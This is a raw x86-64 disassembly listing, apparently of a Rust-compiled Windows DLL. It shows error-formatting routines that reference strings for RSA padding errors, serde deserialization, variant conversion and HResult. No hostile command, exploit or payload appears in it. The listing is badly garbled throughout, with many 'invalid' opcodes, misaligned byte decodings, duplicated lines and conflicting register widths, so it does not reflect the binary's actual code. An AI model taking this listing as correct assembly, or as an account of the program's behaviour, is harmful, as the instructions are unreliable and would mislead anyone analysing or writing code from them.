and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x64e04
invalid
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.InvalidPaddingSchemeDecryptionVerificationMessageTooLongInputNotHashedNprimesTooSmallTooFewPrimesInvalidPrimeInvalidModulusInvalidExponentInvalidCoefficientModulusTooLargePublicExponentTooSmallPublicExponentTooLargePkcs1
add byte [rcx - 0x48], al
adc al, 0
add byte [rax], al
mov r8d, 0x14
mov eax, 0x14
jmp 0x1800084bb
adc al, 2
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
invalid
invalid
lea rdx, str.InternalLabelTooLongInvalidPadLenInvalidArguments
adc eax, 0x64f06
mov r8d, 8
jmp 0x1800084bb
test byte [rcx], 0
invalid
test byte [rcx], 0
add byte [rax - 0x7d], cl
add rcx, 8
lea r9, [rsp + 0x30]
and al, 0x30
add rcx, 8
lea r9, [rsp + 0x30]
and al, 0x30
and al, 0x30
xor byte [rcx - 0x77], cl
or dword [rax - 0x73], ecx
add eax, 0x64ea8
invalid
invalid
mov qword [r9], rcx
lea rax, [0x18006d180]
invalid
invalid
invalid
mov qword [rsp + 0x20], rax
lea rax, [0x18006d177]
jmp 0x180008380
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x64e40
sbb byte [rax - 0x73], cl
adc eax, 0x64e40
jmp 0x18000840d
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x64dc4
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x64dc4
add cl, ch
add dword [rcx], 0x8b480000
invalid
invalid
jmp 0x18000849a
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x64e1f
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x64e1f
add cl, ch
cli
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
jmp 0x18000842b
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
lea rdx, [0x18006d11b]
mov eax, dword [rax + 0x18]
lea rdx, [0x18006d11b]
add cl, ch
invalid
jmp 0x18000840d
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18006d0be]
jmp 0x180008449
add rcx, 8
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x18006d1a0]
sub al, 0x4e
invalid
invalid
sub al, 0x4e
invalid
mov qword [rsp + 0x20], rax
and al, 0x20
lea rax, [0x18007a9ce]
invalid
mov r8d, 5
add byte [rax], al
mov rcx, rdx
mov rdx, rax
ret 0xffe8
add dword [rax], eax
nop
ret 0xffe8
add rsp, 0x38
ret
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x64d20
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0x64d20
and byte [rbp + 6], cl
add cl, ch
jmp case.0x180004a26.59
jmp 0x18000849a
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov eax, dword [rax + 0x18]
invalid
invalid
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, [0x18006d101]
adc eax, 0x64d3f
jmp 0x180008449
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18006d0b4]
invalid
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x64cda
invalid
invalid
invalid
mov r8d, 0xa
jmp 0x1800084bb
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18006d1c8]
adc eax, 0x64dd0
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x64dd0
add bl, ch
mov rcx, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
jmp 0x180008449
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x64cd9
lea rdx, [0x18006d0e6]
mov r8d, 0xf
mov eax, 0xf
jmp 0x1800084bb
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, [0x18006d161]
sbb byte [rax - 0x73], cl
adc eax, 0x64d36
mov r8d, 0x16
jmp 0x1800084bb
add cl, ch
test dword [rax], eax
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x64cac
sbb byte [rax - 0x73], cl
adc eax, 0x64cac
mov r8d, 0xc
jmp 0x1800084bb
push 0x48
mov ecx, dword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18006d1d4]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x64d70
mov r8d, 0xd
jmp 0x1800084bb
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0x64cab
mov r8d, 0x12
jmp 0x1800084bb
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18006d10d]
invalid
invalid
add byte [rcx - 0x48], al
invalid
mov r8d, 0xe
jmp 0x1800084bb
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18006d1e1]
adc eax, 0x64d2c
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
mov r8d, 0x10
mov eax, 0x10
add rsp, 0x38
jmp rax
jmp rax
jmp rax
add dword [rax], eax
add byte [rax], al
cmovb r8d, eax
lea rax, [0x180082254]
add byte [rsi + 0x63], cl
add al, 0x80
add byte [rsi + 0x63], cl
add al, 0x80
add r8, rax
jmp r8
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.AlgorithmParametersMissingAsn1
invalid
add byte [rcx - 0x48], al
sbb al, byte [rax]
add byte [rax], al
jmp 0x18000851d
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72449
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x72449
mov r8d, 0xc
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add byte [rax], al
add rsp, 0x48
jmp rax
jmp rax
jmp rax
jmp rax
add rcx, 4
lea rax, [rsp + 0x40]
mov qword [rax], rcx
lea rcx, [0x18006d218]
add byte [rax - 0x77], cl
and al, 0x30
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 3
add eax, dword [rax]
add byte [rax], al
add eax, dword [rax]
add byte [rax], al
lea rax, [0x18007a96c]
lea r9, [0x18007a976]
invalid
and al, 7
add byte [rcx - 0x48], al
or al, byte [rax]
add byte [rax], al
invalid
invalid
mov rcx, rdx
mov rdx, rax
call fcn.1800274f0
jmp case.0x180006b46.102
invalid
sub al, 0x4c
lea ecx, [rsp + 0x40]
and al, 0x40
lea r9, [rsp + 0x40]
and al, 0x40
mov qword [r9], rcx
mov qword [r9], rcx
lea rax, [0x18006d1f8]
mov qword [rsp + 0x20], rax
lea rax, [0x18007a93a]
mov r8d, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
mov rcx, rdx
mov rdx, rax
call fcn.180027690
nop
add rsp, 0x48
ret
sub esp, 0x48
movzx eax, byte [rcx]
mov dh, 1
lea r8, [0x180082264]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
add rcx, 4
lea rax, [rsp + 0x40]
invalid
add al, 0x48
lea eax, [rsp + 0x40]
invalid
mov qword [rax], rcx
mov qword [rax], rcx
lea rcx, [0x18006d368]
or eax, 0x64da1
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
lea rax, str.HResultErrorhres
add eax, 0x64d77
lea r9, [0x18006d364]
mov r8d, 0xc
invalid
mov rcx, rdx
mov rdx, rax
call fcn.1800274f0
jmp 0x180008881
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18006d5b4]
adc eax, 0x64fa3
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x64fa3
invalid
mov r8d, 0x16
jmp 0x18000870c
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.ResultEmptyNullPointerResultUnimplementedArrayItemInvalidDeserializationVariantError
adc eax, 0x64f69
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0x64f69
invalid
mov r8d, 0xb
jmp 0x18000870c
add rcx, 8
lea r9, [rsp + 0x40]
mov qword [r9], rcx
mov qword [r9], rcx
lea rax, [0x18006d538]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
lea rax, [0x18006d520]
invalid
jmp 0x180008870
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.ParseDatetimeLocalErrorConvertError
adc eax, 0x64d9f
mov r8d, 0x17
jmp 0x18000870c
add rcx, 8
lea r9, [rsp + 0x40]
lea ecx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
mov qword [r9], rcx
lea rax, [0x18006d470]
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
add eax, 0x64ebd
and byte [rax - 0x73], cl
lea eax, str.SerdeErrorDeserializeValueError
add eax, 0x64ebd
mov r8d, 0xa
jmp case.0x1800085b2.18
add byte [rax - 0x7d], cl
add rcx, 8
lea r9, [rsp + 0x40]
ror dword [rax], 0x4c
lea ecx, [rsp + 0x40]
mov qword [r9], rcx
lea rax, [0x18006d470]
lea eax, [0x18006d470]
lea eax, [0x18006d470]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rax, str.ConvertDatetimeErrorConvertDurationErrorConvertLengthError
lea eax, str.ConvertDatetimeErrorConvertDurationErrorConvertLengthError
jmp case.0x180004a26.92
inc rcx
lea r9, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov qword [r9], rcx
lea rax, [0x18006d3b8]
lea eax, [0x18006d3b8]
lea eax, [0x18006d3b8]
mov qword [rsp + 0x20], rax
lea rax, str.ParseFloatError
add eax, 0x64cc0
add eax, 0x64cc0
mov r8d, 0xf
mov eax, 0xf
jmp case.0x1800085b2.18
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18006d5a3]
lea edx, [0x18006d5a3]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, [0x18006d5a3]
lea edx, [0x18006d5a3]
invalid
mov r8d, 0x11
add rsp, 0x48
jmp rax
inc rcx
lea r9, [rsp + 0x40]
mov qword [r9], rcx
mov qword [r9], rcx
lea rax, [0x18006d3f0]
add eax, 0x64ccb
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
and byte [rax - 0x73], cl
add eax, 0x64ca7
lea rax, str.ParseDatetimeError
jmp 0x180008870
add rcx, 2
add ecx, 2
rol dword [rdx], 0x4c
lea ecx, [rsp + 0x40]
lea r9, [rsp + 0x40]
mov qword [r9], rcx
lea rax, [0x18006d4a0]
mov qword [rsp + 0x20], rax
invalid
lea rax, str.ConvertBoolError
add eax, 0x64d3b
invalid
mov r8d, 0x10
jmp case.0x1800085b2.18
invalid
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
inc rcx
lea r9, [rsp + 0x40]
mov qword [r9], rcx
lea rax, [0x18006d388]
invalid
mov qword [rsp + 0x20], rax
lea rax, str.ParseIntError
add eax, 0x727ba
add eax, 0x727ba
add byte [rcx - 0x48], al
or eax, 0xe9000000
add byte [rax], al
invalid
in eax, dx
mov r8d, 0xd
add byte [rax], al
jmp case.0x1800085b2.18
add byte [rax], al
add byte [rax - 0x7d], cl
add rcx, 8
lea r9, [rsp + 0x40]
and al, 0x40
add rcx, 8
lea r9, [rsp + 0x40]
and al, 0x40
mov qword [r9], rcx
lea rax, [0x18006d470]
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
add eax, 0x64e22
and byte [rax - 0x73], cl
add eax, 0x64e22
and cl, byte [rsi + 6]
add byte [rcx - 0x48], al
mov r8d, 0x22
and al, byte [rax]
add byte [rax], al
jmp case.0x1800085b2.18
add byte [rax], al
add byte [rax - 0x7d], cl
add rcx, 2
lea r9, [rsp + 0x40]
add rcx, 2
lea r9, [rsp + 0x40]
mov qword [r9], rcx
lea rax, [0x18006d438]
invalid
add byte [rax - 0x77], cl
and al, 0x20
invalid
invalid
and byte [rax - 0x73], cl
lea rax, [0x18006d427]
add eax, 0x64c55
push rbp
invalid
mov r8d, 0xc
or al, 0
add byte [rax], al
jmp case.0x1800085b2.18
add rcx, 8
lea r9, [rsp + 0x40]
mov qword [r9], rcx
lea rax, [0x18006d578]
invalid
add byte [rax - 0x77], cl
and al, 0x20
invalid
and al, 0x20
and byte [rax - 0x73], cl
add eax, 0x64d66
lea rax, [0x18006d562]
mov r8d, 0x15
adc eax, 0xeb000000
jb 0x18000884d
invalid
jmp case.0x1800085b2.18
add rcx, 8
add ecx, 8
lea r9, [rsp + 0x40]
mov qword [r9], rcx
lea rax, [0x18006d470]
add eax, 0x64c59
add eax, 0x64c59
add byte [rax - 0x77], cl
and al, 0x20
invalid
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
add eax, 0x64c35
lea rax, str.ConvertVariantError
lea eax, str.ConvertVariantError
add byte [rcx - 0x48], al
adc eax, dword [rax]
add byte [rax], al
invalid
mov r8d, 0x13
jmp case.0x1800085b2.18
add rcx, 8
lea r9, [rsp + 0x40]
mov qword [r9], rcx
or dword [rax - 0x73], ecx
add eax, 0x64c32
or dword [rax - 0x73], ecx
add eax, 0x64c32
mov qword [rsp + 0x20], rax
lea rax, [0x18006d50c]
add eax, 0x64cc2
and byte [rax - 0x73], cl
add eax, 0x64cc2
ret 0x64c
invalid
mov r8d, 0x14
jmp case.0x1800085b2.18
add byte [rax], al
add bl, ch
and al, 0x48
inc rcx
inc rcx
lea r9, [rsp + 0x40]
and al, 0x40
mov qword [r9], rcx
lea rax, [0x18006d4d8]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rax, str.ConvertStringError
lea eax, str.ConvertStringError
add byte [rcx - 0x48], al
adc al, byte [rax]
add byte [rax], al
invalid
mov r8d, 0x12
mov rcx, rdx
mov rdx, rax
call fcn.180027690
nop
add rsp, 0x48
add esp, 0x48
invalid
ret
add byte [rax], al
xor eax, eax
add rsp, 0x28
add esp, 0x28
invalid
ret
ret
sub esp, 0x38
movzx eax, byte [rcx]
invalid
add dword [rbp + rcx*4 + 5], ecx
neg dword [rcx + 0x63490007]
invalid
add al, 0x80
invalid
lea r8, [0x1800822ac]
movsxd rax, dword [r8 + rax*4]
invalid
add al, 0x80
invalid
invalid
or byte [rcx + rax - 0x40], 0xff
add rax, r8
jmp rax
loopne 0x180008907
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
lea rdx, case.0x18003d363.0
mov r8d, 5
mov eax, 5
mov eax, 5
add cl, ch
xchg edi, eax
add dword [rax], eax
add byte [rax - 0x7d], cl
add rcx, 8
lea r9, [rsp + 0x30]
and al, 0x30
jmp 0x180008a73
add rcx, 8
lea r9, [rsp + 0x30]
and al, 0x30
and al, 0x30
mov qword [r9], rcx
lea rax, [0x18006d710]
add eax, 0x64e21
or dword [rax - 0x73], ecx
add eax, 0x64e21
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rax, str.Object
add eax, 0x79265
add cl, ch
fiadd word [rax]
add byte [rax], al
jmp case.0x1800084e6.29
add rcx, 8
lea r9, [rsp + 0x30]
and al, 0x30
and al, 0x30
and al, 0x30
mov qword [r9], rcx
mov dword [rcx], ecx
lea rax, [0x18006d6d0]
mov qword [rsp + 0x20], rax
lea rax, str.Array
add eax, 0x791f1
and byte [rax - 0x73], cl
add eax, 0x791f1
int1
xchg ecx, eax
invalid
add byte [rcx - 0x48], al
add eax, 0xe9000000
add dword [rdx], eax
add byte [rax], al
mov r8d, 5
jmp 0x180008b2b
add rcx, 2
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x18006d438]
add byte [rax - 0x77], cl
and al, 0x20
add byte [rax - 0x77], cl
and al, 0x20
mov dword [rsp + 0x20], eax
lea rax, [0x180081a98]
jmp 0x180008afe
add rcx, 2
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x18006d4a0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
lea rax, [0x180081980]
lea eax, [0x180081980]
invalid
jmp 0x180008b25
add rcx, 4
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x18006d6b0]
invalid
add byte [rax - 0x77], cl
and al, 0x20
lea rax, [0x180081ac0]
xchg ecx, eax
invalid
invalid
invalid
xchg ecx, eax
invalid
jmp 0x180008afe
add dword [rax], eax
add byte [rax - 1], cl
inc rcx
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x18006d670]
inc rcx
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x18006d670]
enter 0x64c, 0
mov qword [rsp + 0x20], rax
lea rax, str.Bool
invalid
invalid
invalid
mov r8d, 4
jmp 0x180008b2b
insb byte [rdi], dx
add dword [rax], eax
add byte [rax - 0x7d], cl
add rcx, 8
lea r9, [rsp + 0x30]
add rcx, 8
lea r9, [rsp + 0x30]
mov qword [r9], rcx
or dword [rax - 0x73], ecx
add eax, 0x64a9e
lea rax, [0x18006d470]
mov qword [rsp + 0x20], rax
lea rax, [0x180081932]
push rsp
pop qword [rdi]
add byte [rcx - 0x48], al
invalid
invalid
invalid
mov r8d, 6
jmp 0x180008b2b
add rcx, 8
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x18006d6f0]
lea eax, [0x18006d6f0]
lea eax, [0x18006d6f0]
mov qword [rsp + 0x20], rax
lea rax, str.Unknown
lea eax, str.Unknown
lea eax, str.Unknown
mov r8d, 7
jmp 0x180008b2b
invalid
add byte [rax - 1], cl
ror dword [rbp + rcx*4 + 0x4c], 0x24
lea ecx, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x18006d5f0]
invalid
invalid
invalid
inc rcx
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x18006d5f0]
invalid
invalid
invalid
invalid
mov qword [rsp + 0x20], rax
lea rax, [0x180081958]
jmp 0x180008b25
out dx, eax
add byte [rax], al
invalid
out dx, eax
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
invalid
add rcx, 4
lea r9, [rsp + 0x30]
rol dword [rsp + rcx*2], 0x8d
and al, 0x30
mov qword [r9], rcx
lea rax, [0x18006d630]
invalid
invalid
add byte [rax - 0x77], cl
and al, 0x20
lea rax, [0x1800819f8]
jmp 0x180008b25
retf
add byte [rax], al
invalid
invalid
retf
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18008192e]
lea edx, [0x18008192e]
lea edx, [0x18008192e]
mov r8d, 4
add rsp, 0x38
jmp rax
add rcx, 4
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x18006d368]
add eax, 0x648db
add eax, 0x648db
mov qword [rsp + 0x20], rax
lea rax, [0x1800819a8]
add cl, ch
xchg dword [rax], eax
add byte [rax], al
add cl, ch
xchg dword [rax], eax
add byte [rax], al
add rcx, 8
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x18006d538]
invalid
invalid
add byte [rax - 0x77], cl
and al, 0x20
lea rax, [0x180081ae8]
jmp 0x180008afe
invalid
invalid
invalid
add rcx, 8
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x18006d610]
mov qword [rsp + 0x20], rax
lea rax, [0x1800819d0]
jmp 0x180008b25
inc rcx
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x18006d690]
mov qword [rsp + 0x20], rax
lea rax, [0x180081a70]
mov r8d, 3
jmp 0x180008b2b
add rcx, 8
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x18006d650]
mov qword [rsp + 0x20], rax
lea rax, [0x180081a20]
mov r8d, 2
mov rcx, rdx
mov rdx, rax
call fcn.180027690
nop
add rsp, 0x38
ret
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ror dword [rax - 1], 0xc1
je 0x180008ecc
lea rdx, [rax + rax]
cmp rdx, rcx
cmova rcx, rdx
xor edx, edx
mov r8, rcx
shr r8, 0x3b
sete dl
cmp rcx, 5
mov ebx, 4
add byte [rax], al
add byte [rax], al
cmovae rbx, rcx
mov r8, rbx
shl r8, 4
shl edx, 3
test rax, rax
je 0x180008e9a
shl rax, 4
mov rcx, qword [rsi + 8]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x48], rax
mov eax, 8
or byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
jmp 0x180008e9c
xor eax, eax
lea r9, [rsp + 0x38]
mov qword [r9 + 8], rax
lea rdi, [rsp + 0x20]
mov rcx, rdi
call fcn.180036a23
add al, byte [rax]
cmp qword [rdi], 0
jne 0x180008ed3
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi], rbx
or byte [rax - 0x77], cl
invalid
add rsp, 0x50
add esp, 0x50
pop rbx
pop rdi
pop rsi
ret
xor ecx, ecx
call fcn.180069600
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
call fcn.180069600
int3
mov esi, ecx
mov rcx, rdx
mov rdx, rsi
call fcn.180008f12
test rax, rax
invalid
je 0x180008f06
sal byte [rdi + rax + 0x48], 0x83
invalid
add rsp, 0x28
pop rdi
pop rsi
ret
mov rcx, rdi
mov rdx, rsi
call fcn.180069620
int3
mov r14, rdx
mov r10, qword [rsp + 0xf0]
imul r8, r8, 0x18
rcr byte [rax], 0x49
lea eax, [rax - 0x18]
rcr byte [rax], 0x49
lea eax, [rax - 0x18]
mov r9d, 0x18
xor edx, edx
div r9
int1
mov rdx, rax
mov rax, r10
mul rdx
jo 0x180008f91
mov rsi, rax
lea rbp, [r14 + 0x18]
mov rax, r14
test r8, r8
je 0x180008fa9
mov rdx, qword [rax + 0x10]
add rax, 0x18
add r8, 0xffffffffffffffe8
add rsi, rdx
jae 0x180008f7b
lea rcx, str.attempt_to_join_into_collection_with_len___usize::MAX_rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_alloc_src_str.rs
lea r8, [0x18006d7c8]
mov edx, 0x35
invalid
add byte [rax], al
invalid
cwde
invalid
call fcn.180069bd0
mov qword [rsp + 0x60], rcx
mov dword [rsp + 0x60], ecx
lea r13, [rsp + 0x28]
insb byte [rdi], dx
and al, 0x28
mov rcx, r13
mov rdx, rsi
xor r8d, r8d
call fcn.180036b3d
cmp qword [r13], 0
mov rcx, qword [r13 + 8]
jne 0x1800092b1
add byte [rcx - 0x7d], cl
jge 0x180008fc5
add byte [rcx - 0x75], cl
or byte [r15], r9b
test ecx, esp
add al, byte [rax]
add byte [rax - 0x75], cl
and al, 0x38
mov rax, qword [rsp + 0x38]
lea r13, [rsp + 0x70]
mov qword [r13], rcx
mov qword [r13 + 8], rax
or byte [r9 - 0x7d], r9b
adc byte gs:[rax], al
or byte [r9 - 0x7d], r9b
adc byte gs:[rax], al
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
mov eax, dword [rsi + 0x10]
mov eax, dword [rsi + 0x10]
mov rcx, r13
mov ecx, ebp
call fcn.18002e163
mov rcx, qword [r13 + 8]
mov rax, qword [r13 + 0x10]
mov qword [rsp + 0x58], rcx
and al, 0x58
lea r14, [rcx + rax]
mov rdi, rsi
sub rdi, rax
mov rcx, qword [rsp + 0xf0]
lock add byte [rax], al
add byte [rax - 0x7d], cl
stc
add al, 0xf
xchg edi, eax
add dword [rax], eax
invalid
lock add byte [rax], al
add byte [rax - 0x7d], cl
stc
add al, 0xf
xchg edi, eax
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1800822f0]
add eax, 0x792c9
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
imul rbx, r12, 0x18
add rbx, 0xffffffffffffffe8
test rbx, rbx
test ebx, ebx
je 0x18000924b
mov rdx, qword [rbp + 0x10]
sub rdi, rdx
jb 0x18000927c
invalid
add al, byte cs:[rax]
invalid
invalid
mov r8, qword [rbp + 8]
add rbp, 0x18
lea r15, [r14 + rdx]
mov rcx, r14
mov r9, rdx
call fcn.180007b72
add rbx, 0xffffffffffffffe8
mov r14, r15
jmp case.0x1800088bc.21
imul r15, r12, 0x18
add r15, 0xffffffffffffffe8
test r15, r15
je 0x18000924b
cmp rdi, 3
jbe 0x18000927c
add dword [rax], eax
add byte [rbx + rcx*4 + 0x45], cl
or byte [rax - 0x75], cl
push rbp
adc byte [rax - 0x7d], cl
invalid
mov r8, qword [rbp + 8]
mov rdx, qword [rbp + 0x10]
add rdi, 0xfffffffffffffffc
mov eax, dword [rbx]
add eax, dword [rcx - 0x77]
invalid
sub rdi, rdx
jb 0x18000927c
add eax, dword [rcx - 0x77]
invalid
add rbp, 0x18
lea r12, [r14 + rdx]
add r12, 4
add r14, 4
mov rcx, r14
mov r9, rdx
call fcn.180007b72
add r15, 0xffffffffffffffe8
mov r14, r12
jmp 0x180009084
imul r15, r12, 0x18
add r15, 0xffffffffffffffe8
test r15, r15
je 0x18000924b
cmp rdi, 1
jbe 0x18000927c
mov word [rcx], es
add byte [rax], al
mov word [rcx], es
add byte [rax], al
mov r8, qword [rbp + 8]
mov rdx, qword [rbp + 0x10]
push rbp
adc byte [rax - 0x7d], cl
invalid
dec byte [rdi]
mov bh, 3
mov word [r14], ax
sub rdi, rdx
push rbp
adc byte [rax - 0x7d], cl
invalid
jb 0x18000927c
add rbp, 0x18
lea r12, [r14 + rdx]
add r12, 2
add r14, 2
mov rcx, r14
mov r9, rdx
call fcn.180007b72
add r15, 0xffffffffffffffe8
mov r14, r12
jmp 0x1800090dd
imul r15, r12, 0x18
add r15, 0xffffffffffffffe8
test r15, r15
je 0x18000924b
cmp rdi, 2
jbe 0x18000927c
mov r8, qword [rbp + 8]
mov rdx, qword [rbp + 0x10]
add rdi, 0xfffffffffffffffd
mov al, byte [rbx + 2]
mov byte [r14 + 2], al
movzx eax, word [rbx]
mov word [r14], ax
sub rdi, rdx
jb 0x18000927c
or byte [rax - 0x75], cl
push rbp
adc byte [rax - 0x7d], cl
invalid
add rbp, 0x18
lea r12, [r14 + rdx]
add r12, 3
add r14, 3
mov rcx, r14
mov r9, rdx
call fcn.180007b72
add r15, 0xffffffffffffffe8
mov r14, r12
jmp 0x180009138
imul r15, r12, 0x18
add r15, 0xffffffffffffffe8
test r15, r15
je 0x18000924b
test rdi, rdi
je 0x18000927c
mov r8, qword [rbp + 8]
mov rdx, qword [rbp + 0x10]
dec rdi
mov al, byte [rbx]
mov byte [r14], al
sub rdi, rdx
jb 0x18000927c
add rbp, 0x18
lea r12, [r14 + rdx]
inc r12
inc r14
mov rcx, r14
mov r9, rdx
call fcn.180007b72
